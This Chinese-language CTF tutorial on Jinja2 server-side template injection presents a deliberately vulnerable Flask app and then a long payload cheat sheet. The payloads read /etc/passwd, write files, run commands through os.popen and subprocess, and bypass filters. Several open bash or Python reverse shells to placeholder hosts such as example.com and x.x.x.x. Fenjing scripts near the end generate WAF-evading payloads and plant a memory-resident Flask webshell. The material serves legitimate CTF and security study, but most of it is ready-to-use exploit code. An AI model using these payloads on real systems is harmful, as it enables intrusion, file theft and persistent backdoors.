CTF-WEB: python模板注入
漏洞是如何产生的?
Python模板注入漏洞通常出现在使用模板引擎生成动态内容的应用中。如果用户输入没有经过适当的处理直接插入模板中,就可能会导致模板注入漏洞。一个常见的例子是使用Jinja2模板引擎时,如果直接渲染用户输入,则可能导致代码执行等严重后果。
以下是一个演示如何可能出现模板注入漏洞的示例:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
# 获取用户输入
user_input = request.args.get('user_input', '')
# 不安全地渲染用户输入
template = f'''
<h1>Welcome</h1>
<p>Your input: {user_input}</p>
'''
# 使用render_template_string渲染模板
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
在这个示例中,user_input
是从查询参数中获取的用户输入,并直接插入到模板字符串中。这是非常危险的,因为用户可以注入任意Jinja2表达式。例如,如果用户访问URL http://127.0.0.1:5000/?user_input={{7*7}}
,页面将会显示 Your input: 49
。这说明模板注入成功执行了 7*7
计算。
怎么进行Python 模板注入?¶
注意模板注入是一种方式,它不归属于任何语言,不过目前遇见的大多数题目还是以 python 的 SSTI 为主,所以我们用 Python SSTI 为例子带各位熟悉模板注入。
一般我们会在疑似的地方尝试插入简单的模板表达式,如 {{7*7}}
{{config}}
,看看是否能在页面上显示预期结果,以此确定是否有注入点。
当然本来还需要识别模板的,但大多数题目都是 Jinja2 就算,是其他模板,多也以 Python 为主,所以不会差太多,所以我们这里统一用 Jinja 来讲。
引¶
很多时候,你在阅读 SSTI 相关的 WP 时,你会发现最后的 payload 都差不多长下面的样子:
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
是不是觉得每次看 WP 都会觉得很懵逼,这些方法为什么要这么拼,是怎么构造出来的?前面这一串长长的都是什么?
这里有几个知识点:
- 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表
[]
、一个字符串""
或一个字典{}
时,你实际上是在创建不同类型的对象。 - 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
- 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似
__class__
的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。
我们大可以把我们在 SSTI 做的事情抽象成下面的代码:
class O: pass # O 是基类,A、B、F、G 都直接或间接继承于它
# 继承关系 A -> B -> O
class B(O): pass
class A(B): pass
# F 类继承自 O,拥有读取文件的方法
class F(O): def read_file(self, file_name): pass
# G 类继承自 O,拥有执行系统命令的方法
class G(O): def exec(self, command): pass
比如我们现在就只拿到了 A,但我们想读取目录下面的 flag ,于是就有了下面的尝试:
找对象 A 的类 - 类 A -> 找类 A 的父亲 - 类 B -> 找祖先 / 基类 - 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令
>>>print(A.__class__) # 使用 __class__ 查看类属性
<class '__main__.A'>
>>> print(A.__class__.__base__) # 使用 __base__ 查看父类
<class '__main__.B'>
>>> print(A.__class__.__base__.__base__)# 查看父类的父类 (如果继承链足够长,就需要多个base)
<class '__main__.O'>
>>>print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>)
>>>print(A.__class__.__base__.__base__.__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为O)
[<class '__main__.B'>, <class '__main__.F'>, <class '__main__.G'>]
类似这种 拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。
接下来我们详细的介绍每个步骤。
拿基类¶
在 Python 中,所有类最终都继承自一个特殊的基类,名为 object
。这是所有类的“祖先”,拿到它即可获取 Python 中所有的子类。
一般我们以 字符串 / 元组 / 字典 / 列表 这种最基础的对象开始向上查找:
类属性
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>
>>> ''.__class__.__base__
<class 'object'>
>>> ().__class__.__base__
<class 'object'>
>>> {}.__class__.__base__
<class 'object'>
>>> [].__class__.__base__
<class 'object'>
不管对象的背后逻辑多么复杂,他最后一定会指向基类:
# 比如以一个request的模块为例,我们使用__mro__可以查看他的继承过程,可以看到最终都是由 object 基类 衍生而来。
>>> request.__class__.__mro__
(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>)
在寻找时,通常我们使用下面的魔术方法:
# 更多魔术方法可以在 SSTI 备忘录部分查看
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
那么 __base__
__bases__
__mro__
三者有什么区别?我们以一个继承很长的 request 模块为例,为了拿到它的基类,三者之间的语法:
万物皆对象
>>> request.__class__
<class 'flask.wrappers.Request'>
>>> request.__class__.__mro__
(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>) # 返回为元组
>>> request.__class__.__mro__[-1]
<class 'object'>
>>> request.__class__.__bases__
(<class 'werkzeug.wrappers.request.Request'>, <class 'flask.wrappers.JSONMixin'>) # 返回为元组
>>> request.__class__.__bases__[0].__bases__[0].__bases__[0]
<class 'object'>
>>> request.__class__.__base__
<class 'werkzeug.wrappers.request.Request'>
>>> request.__class__.__base__.__base__.__base__
<class 'object'>
当然除了从 字符串 / 元组 / 字典 / 列表 以及刚才提到的 request 模块 (注意模块在使用前是需要导入的) 外,还有其他方法可以获取基类,你可以自行探索,也可以参考我们下面的 Jinja SSTI 备忘录。
寻找子类¶
当我们拿到基类,也就是 <class 'object'>
时,便可以直接使用 subclasses()
获取基类的所有子类了。
>>> ().__class__.__base__.__subclasses__()
>>> ().__class__.__bases__[0]__subclasses__()
>>> ().__class__.__mro__[-1].__subclasses__()
我们无非要做的就是读文件或者拿 shell,所以我们需要去寻找和这两个相关的子类,但基类一下子获取的全部子类数量极其惊人,一个一个去找实在是过于睿智,但其实这部分的重心不在子类本身上,而是在子类是否有 os 或者 file 的相关模块可以被调用上。
比如我们以存在 eval
函数的类为例子,我们不需要认识类名,我们只需要知道,这个类通过 .__init__.__globals__.__builtins__['eval']('')
的方式可以调用 eval
的模块就好了。
那么到这你可能会问,.__init__.__globals__.__builtins__
又是什么东西?
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
其实在面向对象的角度解释这样做很容易,对象是需要初始化的,而 __init__
的作用就是把我们选取的对象初始化,然后如何去使用对象中的方法呢?这就需要用到 __globals__
来获取对全局变量或模块的引用。
Jinja2 POC
官方网站
Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持、可选的集成沙盒执行环境、广泛使用和 BSD 许可。
Jinja2 - 基本注入
{{4*4}}[[5*5]]
{{7*'7'}} 将导致 7777777
{{config.items()}}
Jinja2 由 Django 或 Flask 等 Python Web 框架使用。
上述注入已在 Flask 应用程序上进行了测试。
Jinja2 - 模板格式
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }></a></li>
{% endfor %}
</ul>
{% endblock %}
Jinja2 - 调试语句
如果启用了调试扩展,则可以使用 {% debug %}
标签来转储当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容(无需设置调试器)非常有用。
<pre>{% debug %></pre>
来源:https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
Jinja2 - 转储所有使用的类
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
访问 __globals__
和 __builtins__
:
{{ self.__init__.__globals__.__builtins__ }}
Jinja2 - 转储所有配置变量
{% for key, value in config.iteritems() %}
<dt>{{ key|e }></dt>
<dd>{{ value|e }></dd>
{% endfor %}
Jinja2 - 读取远程文件
# ''.__class__.__mro__[2].__subclasses__()[40] = 文件类
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Jinja2 - 写入远程文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Jinja2 - 远程代码执行
监听连接
nc -lnvp 8000
Jinja2 - 强制盲目 RCE 输出
您可以导入 Flask 函数以从易受攻击的页面返回输出。
{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
r = make_response('Powned')
return r
")
}}
通过调用 os.popen().read() 利用 SSTI
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
但是当 __builtins__
被过滤时,以下有效载荷是上下文无关的,不需要任何东西,除了在 jinja2 模板对象中:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
我们可以使用这些较短的有效负载:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
来源@podalirius_ : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
使用 objectwalker,我们可以从 lipsum
找到 os
模块的路径。这是已知的在 Jinja2 模板中实现 RCE 的最短有效载荷:
{{ lipsum.__globals__["os"].popen('id').read() }}
来源:https://twitter.com/podalirius_/status/1655970628648697860
通过调用 subprocess.Popen 来利用 SSTI
⚠️ 数字 396 将根据应用程序而有所不同。
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
通过调用 Popen 来利用 SSTI,而无需猜测偏移量
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
简单修改有效负载以清理输出并方便命令输入 (https://twitter.com/SecGus/status/1198976764351066113)
在另一个 GET 参数中包含一个名为“input”的变量,其中包含您要运行的命令(例如: &input=ls)
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
通过编写恶意配置文件来利用 SSTI。
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# 加载 evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# 连接到 evil 主机
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
读取config
{{config}}可以获取当前设置,如果题目类似
app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问
{{config['FLAG']}}或者{{config.FLAG}}得到flag
但是如果被过滤了{{self}} ⇒
<TemplateReference None>{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
如果存在current_app, 可以访问当前app的
{{url_for.__globals__}}
如果存在current_app, 可以访问当前app的config
{{url_for.__globals__['current_app'].config}}
或者
{{get_flashed_messages.__globals__['current_app'].config}}
Jinja2 - 过滤绕过
request.__class__
request["__class__"]
绕过.
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`
# attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
# []
{{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
绕过 [
和]
# 用getitem()用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
或
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
绕过|join
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
通过以下方式绕过最常见的过滤器(‘.’、‘_’、‘|join’、‘[’、‘]’、‘mro’ 和 ‘base’) https://twitter.com/SecGus:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Fenjing
本人建议作为库使用
使用pip安装运行
pip install fenjing
fenjing webui
打内存马
这里以Flask内存马为例
import fenjing
import requests
# 这个内存马会获取GET参数cmd并执行,然后在header Aaa中返回
payload = """
[
app.view_functions
for app in [ __import__('sys').modules["__main__"].app ]
for c4tchm3 in [
lambda resp: [
resp
for cmd_result in [__import__('os').popen(__import__('__main__').app.jinja_env.globals["request"].args.get("cmd", "id")).read()]
if [
resp.headers.__setitem__("Aaa", __import__("base64").b64encode(cmd_result.encode()).decode()),
print(resp.headers["Aaa"])
]
][0]
]
if [
app.__dict__.update({'_got_first_request':False}),
app.after_request_funcs.setdefault(None, []).append(c4tchm3)
]
]
"""
def waf(s):
return "/" not in s
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
print("这个payload不会产生回显")
print(payload)
# 生成payload后在这里打上去
r = requests.get("http://127.0.0.1:5000/", params = {
"name": payload
})
print(r.text)
# 然后使用`?cmd=whoami`就可以在header里看到命令执行结果了
也可以这样直接给定表达式而不是给定字符串的值
import fenjing
def waf(s):
return "/" not in s
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.LITERAL, '"1"+"2"'))
if not will_print:
print("这个payload不会产生回显")
print(payload)
根据WAF函数生成shell指令对应的payload
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
# print(f"{config_payload=}")
在不获取WAF黑名单的情况下,根据返回页面中的特征生成payload
比如说如果提交的payload被WAF后,WAF页面含有"BAD"这三个字母,那么可以这么写:
import functools
import time
import requests
from fenjing import exec_cmd_payload
URL = "http://10.137.0.28:5000"
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.get(URL, timeout=10, params={"name": payload})
return "BAD" not in resp.text
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/example.com/3456 0>&1"'
)
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
让生成器学会使用新的变量
参考
比如说你想让生成器学会使用新的变量aaa
,它的值是100,需要在payload的前面加上{%set aaa=0x64%}
,那你只需要这么写
from fenjing.full_payload_gen import FullPayloadGen
from fenjing.const import OS_POPEN_READ
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str): # 这个函数因题目而定
blacklist = [
"00", "1", "3", "5", "7", "9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
full_payload_gen = FullPayloadGen(waf)
full_payload_gen.do_prepare()
full_payload_gen.add_context_variable("{%set aaa=0x64%}", {"aaa": 100})
shell_payload, will_print = full_payload_gen.generate(OS_POPEN_READ, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
if not will_print:
print("这个payload不会产生回显")
print(f"{shell_payload=}")
来源
https://hello-ctf.com
swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF
github.com